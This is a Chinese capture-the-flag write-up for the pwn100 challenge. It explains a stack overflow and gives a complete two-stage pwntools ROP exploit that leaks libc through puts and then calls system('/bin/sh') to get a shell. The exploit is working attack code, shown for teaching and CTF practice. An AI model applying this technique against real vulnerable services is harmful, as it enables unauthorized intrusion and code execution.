天天看點

攻防世界 - pwn100 - WriteUppwn100

pwn100

檔案連結 -> Github

checksec

攻防世界 - pwn100 - WriteUppwn100

尋找漏洞

攻防世界 - pwn100 - WriteUppwn100

sub_40063D

函數中擷取輸入存放到

v1

,存在棧溢出漏洞

攻擊思路

該程式中沒用system函數,也沒有binsh字元串,而且參數是經過寄存器傳遞的,是以要通過ROP來達成洩露

libc

,寫入

/bin/sh

的操作

攻防世界 - pwn100 - WriteUppwn100
攻防世界 - pwn100 - WriteUppwn100

寄存器

rdi

中存放的是寫入的位址,

rsi

是寫入的位元組數,是以可以通過

pop rdi; ret

pop rsi; pop r15; ret

來控制寫入

exp

#coding:utf-8
from pwn import *
from LibcSearcher import *

if len(sys.argv) == 3:
	io = remote(sys.argv[1],int(sys.argv[2]))
elif len(sys.argv) == 2:
	io = process(sys.argv[1])

readn = 0x40063D
start = 0x40068E
read_got = 0x601028
put_plt = 0x400500
put_got = 0x601018
length = 0x40
max_length = 200
bss = 0x601040

pop_rdi = 0x0000000000400763
pop_rsi_r15 = 0x0000000000400761

def stageone():
    payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(read_got) \	#pop_rdi後緊接read_got,就把read_got傳入了rdi,作為參數
	+p64(put_plt)+p64(pop_rdi)+p64(bss) \	#上一行執行ret的時候就跳轉到puts_plt,執行到現在就類似于執行了一個puts(read_got)
	+p64(pop_rsi_r15)+p64(7)+p64(0)+p64(readn)+p64(start)	#這一行也類似,上一行把bss的位址pop入rdi,然後把7pop入rsi,然後執行readn,就類似于執行了readn(bss,7)
    payload += "A"*(max_length-len(payload))	#這裡就是填充
    io.send(payload)
    sleep(1)
    io.send("/bin/sh")		#payload送出去以後,會先puts,然後執行readn(bss,7),是以就要再送入/bin/sh字元串
    print io.recvuntil("bye~")
    return u64(io.recv()[1:-1].ljust(8,'\0'))

read_addr = stageone()
print "read address: ", hex(read_addr)

libc = LibcSearcher("read",read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
print "system address: ",hex(system_addr)

def stagetwo():
    payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(bss) \	#将bss的位址即/bin/sh字元串的位址傳給rdi作為第一個參數,然後直接執行system,就相當于執行了system("/bin/sh"),然後getshell
	+p64(system_addr)+p64(start)
    payload += "A"*(max_length-len(payload))
    io.send(payload)

stagetwo()
io.interactive()